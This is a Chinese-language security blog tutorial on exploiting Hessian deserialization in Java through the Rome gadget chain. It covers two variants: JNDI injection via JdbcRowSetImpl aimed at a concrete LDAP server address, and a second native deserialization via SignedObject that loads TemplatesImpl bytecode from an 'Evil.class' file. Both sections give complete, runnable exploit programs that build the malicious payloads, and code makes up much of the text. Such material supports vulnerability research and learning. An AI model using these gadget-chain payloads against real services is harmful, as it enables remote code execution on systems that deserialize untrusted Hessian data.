目录
前言
出网——JdbcRowSetImpl
不出网——SignedObject 打二次反序列化
前文:【Web】浅聊Java反序列化之玩转Hessian反序列化的前置知识
前言
正如我们前文所说,当Hessian反序列化Map
类型的对象的时候,会自动调用其put
方法,而put方法又会牵引出各种相关利用链打法。map.put对于HashMap会触发key.hashCode()。
利用到hashCode的链子有很多,如CC6和Rome相关链,但很遗憾的是CC6因为一些原因无法使用,后面会出一篇文章专门讲其原因。本文主要讲一下Rome出网和不出网的两种利用方式。
出网——JdbcRowSetImpl
只需要找一条入口为hashcode()的反序列化链即可,比如我们常用的ROME链
简单回顾下,Rome 的链核心是 ToStringBean,这个类的 toString
方法会调用他封装类的全部无参 getter 方法,可以借助 JdbcRowSetImpl#getDatabaseMetaData()
方法触发 JNDI 注入。
而Rome链的触发点是EqualsBean#hashCode,这就完美贴合了我们的需求
(参考文章:【Web】浅聊Java反序列化之Rome——关于其他利用链)
EXP
package com.Hessian;import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;public class Hessian_Rome implements Serializable {public static void main(String[] args) throws Exception {JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();String url = "ldap://124.222.136.33:1337/#suibian";jdbcRowSet.setDataSourceName(url);ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);//手动生成HashMap,防止提前调用hashcode()HashMap hashMap = makeMap(equalsBean,"1");byte[] s = serialize(hashMap);deserialize(s);}public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {HashMap<Object, Object> s = new HashMap<>();setValue(s, "size", 2);Class<?> nodeC;try {nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));setValue(s, "table", tbl);return s;}public static <T> byte[] serialize(T o) throws IOException {ByteArrayOutputStream bao = new ByteArrayOutputStream();HessianOutput output = new HessianOutput(bao);output.writeObject(o);System.out.println(bao.toString());return bao.toByteArray();}public static <T> T deserialize(byte[] bytes) throws IOException {ByteArrayInputStream bai = new ByteArrayInputStream(bytes);HessianInput input = new HessianInput(bai);Object o = input.readObject();return (T) o;}public static void setValue(Object obj, String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}
}
不出网——SignedObject
打二次反序列化
因为种种限制,TemplatesImpl不能依靠Hessian反序列化任意加载类(后面的文章会专门写,这里按下不表),面对不出网的情况,一个常见替代的方式是使用 java.security.SignedObject
进行二次反序列化。
SignedObject,顾名思义,推测其主要用途是对某个对象进行数字签名,以确保数据的完整性和真实性。通过将对象使用私钥进行数字签名,接收方可以使用对应的公钥来验证该对象的签名是否有效,从而确保数据在传输或存储过程中没有被篡改。
关于SignedObject,先看其构造方法
public SignedObject(Serializable object, PrivateKey signingKey,Signature signingEngine)throws IOException, InvalidKeyException, SignatureException {// creating a stream pipe-line, from a to bByteArrayOutputStream b = new ByteArrayOutputStream();ObjectOutput a = new ObjectOutputStream(b);// write and flush the object content to byte arraya.writeObject(object);a.flush();a.close();this.content = b.toByteArray();b.close();// now sign the encapsulated objectthis.sign(signingKey, signingEngine);}
总的来说,这段代码实现了将待签名的对象转换为字节数组,并使用指定的私钥和签名引擎对该字节数组进行签名的过程。这样就创建了一个带有数字签名的 SignedObject
对象,可以用于确保对象的完整性和真实性。
下面的EXP中给了这样一段构造,我们顺带看一下
KeyPairGenerator keyPairGenerator;keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA");SignedObject signedObject = new SignedObject(map,privateKey,signingEngine);
给到一点简单解读:
- 首先通过
KeyPairGenerator
类生成用于数字签名的密钥对,这里使用的是 DSA(Digital Signature Algorithm)算法,并将密钥长度设置为 1024 比特。 - 接着生成密钥对,其中包括一个私钥和一个公钥,用于数字签名和验证。
- 使用
Signature
类实例化一个用于数字签名的引擎,同样选择了 DSA 算法。 - 最后,创建了一个
SignedObject
对象,该对象包含了要被签名的map
对象、私钥和数字签名引擎。通过这一步,map
对象被使用私钥进行数字签名,生成一个带有签名信息的SignedObject
OK点到为止,我们接下来看
打二次反序列化的核心:SignedObject#getObject
public Object getObject()throws IOException, ClassNotFoundException{// creating a stream pipe-line, from b to aByteArrayInputStream b = new ByteArrayInputStream(this.content);ObjectInput a = new ObjectInputStream(b);Object obj = a.readObject();b.close();a.close();return obj;}
注意到getObject为一个无参getter,且该方法会从流里使用原生反序列化读取数据,这就造成了二次反序列化,从一个原生的readObject入口开始打链
注意,二次反序列化是原生反序列化,可以打TemplatesImpl,下面给出示例
EXP
package com.Hessian;import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;public class Hessian_SignedObject {public static void main(String[] args) throws Exception {byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\21135\\Desktop\\RuoYi-v4.7.1\\Rome\\target\\classes\\com\\rome\\Evil.class"));TemplatesImpl obj = new TemplatesImpl();setValue(obj, "_bytecodes", new byte[][] {code});setValue(obj, "_name", "xxx");setValue(obj, "_tfactory", new TransformerFactoryImpl());ToStringBean bean = new ToStringBean(Templates.class, obj);ToStringBean fakebean= new ToStringBean(String.class, obj);EqualsBean equalsBean = new EqualsBean(ToStringBean.class, fakebean);HashMap map = new HashMap();map.put(equalsBean, 1); // 注意put的时候也会执行hashsetValue(equalsBean, "_obj", bean);//此处写法较为固定,用于初始化SignedObject类KeyPairGenerator keyPairGenerator;keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA");SignedObject signedObject = new SignedObject(map,privateKey,signingEngine);ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class,toStringBean1);HashMap hashMap = makeMap(equalsBean2, "xxx");byte[] payload = Hessian2_Serial(hashMap);Hessian2_Deserial(payload);}public static byte[] Hessian2_Serial(Object o) throws IOException {ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output hessian2Output = new Hessian2Output(baos);hessian2Output.writeObject(o);hessian2Output.flushBuffer();return baos.toByteArray();}public static Object Hessian2_Deserial(byte[] bytes) throws IOException {ByteArrayInputStream bais = new ByteArrayInputStream(bytes);Hessian2Input hessian2Input = new Hessian2Input(bais);Object o = hessian2Input.readObject();return o;}public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {HashMap<Object, Object> s = new HashMap<>();setValue(s, "size", 2);Class<?> nodeC;try {nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));setValue(s, "table", tbl);return s;}public static void setValue(Object obj, String fieldName, Object newValue) throws Exception {Class clazz = obj.getClass();Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, newValue);}
}